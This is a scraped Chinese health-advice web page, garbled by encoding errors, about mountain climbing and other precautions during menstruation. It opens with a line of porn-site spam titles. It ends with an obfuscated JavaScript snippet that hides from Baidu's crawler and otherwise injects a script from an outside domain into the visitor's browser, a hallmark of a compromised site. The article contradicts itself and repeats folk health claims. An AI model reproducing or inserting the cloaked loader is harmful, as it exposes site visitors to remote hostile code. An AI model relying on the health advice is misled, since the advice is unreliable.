久久精品亚洲人人做人人爽|欧美日韩在线观看视频|在线a免费播放a视频|亚洲免费AV在线

<source id="usrd9"><ins id="usrd9"></ins></source>

<form id="usrd9"><tr id="usrd9"></tr></form>
      1. 當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

        在月經(jīng)期間適合爬山嗎

        2017-04-16 11:35:15  來(lái)源:360常識(shí)網(wǎng)   熱度:
        導(dǎo)語(yǔ):有很多女性在來(lái)月經(jīng)的期間,仍會(huì)參加一些運(yùn)動(dòng)或者是活動(dòng),比如說(shuō)爬山,相信是很多女性在經(jīng)期的時(shí)候會(huì)遇到的一個(gè)現(xiàn)象,但是來(lái)月經(jīng)期間是否可

        有很多女性在來(lái)月經(jīng)的期間,仍會(huì)參加一些運(yùn)動(dòng)或者是活動(dòng),比如說(shuō)爬山,相信是很多女性在經(jīng)期的時(shí)候會(huì)遇到的一個(gè)現(xiàn)象,但是來(lái)月經(jīng)期間是否可以爬山問(wèn)題?很多女性存在疑問(wèn),所以針對(duì)這些疑問(wèn)下面就為大家來(lái)具體分析解答,這樣我們就可以了解到女性在經(jīng)期,需要注意是否可以爬山?jīng)]有了。

        可以,注意你在爬山的時(shí)候保護(hù)好你的肚子,休息的時(shí)候不要長(zhǎng)時(shí)間坐在石頭上,如果在外面露營(yíng),一定要注意墊好防潮墊。不要輕易飲用山泉水,因?yàn)樯饺浅?,在?jīng)期是不能做劇烈運(yùn)動(dòng)的,這樣很容易造成月經(jīng)不調(diào)。在經(jīng)期一定要好好休息,在飲食上增加營(yíng)養(yǎng)。但是如果只是簡(jiǎn)單的爬,在爬山期沒(méi)有劇烈的運(yùn)動(dòng),還是可以爬的。

        在月經(jīng)期我們也應(yīng)注意一些其他的事項(xiàng):

        1、別讓她吃生冷的蔬菜水果和冰冷的飲料,如冰鎮(zhèn)西瓜等。易造成痛經(jīng)。

        2、有飯局時(shí)別讓她喝酒、濃茶、咖啡和碳酸飲料。也要注意別吃太咸的和油炸、燒烤、油膩、辛辣食物。因?yàn)檫@些都會(huì)產(chǎn)生月經(jīng)疼痛、經(jīng)期延長(zhǎng)和經(jīng)血過(guò)多等不適癥狀。

        3、別領(lǐng)她去歌廳唱歌,月經(jīng)期呼吸道粘膜和聲帶充血,高聲唱歌或大聲說(shuō)話,聲帶肌肉容易疲勞,導(dǎo)致聲音沙啞。

        4、不讓她干重活。不去參加爬山、跑跳等劇烈運(yùn)動(dòng),不游泳。會(huì)引起月經(jīng)過(guò)多或經(jīng)期延長(zhǎng)及感染。

        5、提醒她不去拔牙。易造成出血量多。

        6、衣服別穿少了免得著涼。雨天注意別淋雨和淌水。

        7、要愛(ài)護(hù)她,月經(jīng)期不能有性生活。

        從這些內(nèi)容分析我們會(huì)發(fā)現(xiàn),并不建議女性在月經(jīng)期間爬山,因?yàn)榕郎揭矊儆谶\(yùn)動(dòng)量比較大的一種運(yùn)動(dòng),女性的經(jīng)濟(jì)情況會(huì)造成一定的影響,如果想要運(yùn)動(dòng)的話,建議選擇散步或者慢跑的方式,而且時(shí)間不能太長(zhǎng),避免讓自己太過(guò)的勞累。我們可以做一些慢跑的運(yùn)動(dòng)。這樣也可以鍛煉啦。

        轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
        ?
        if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}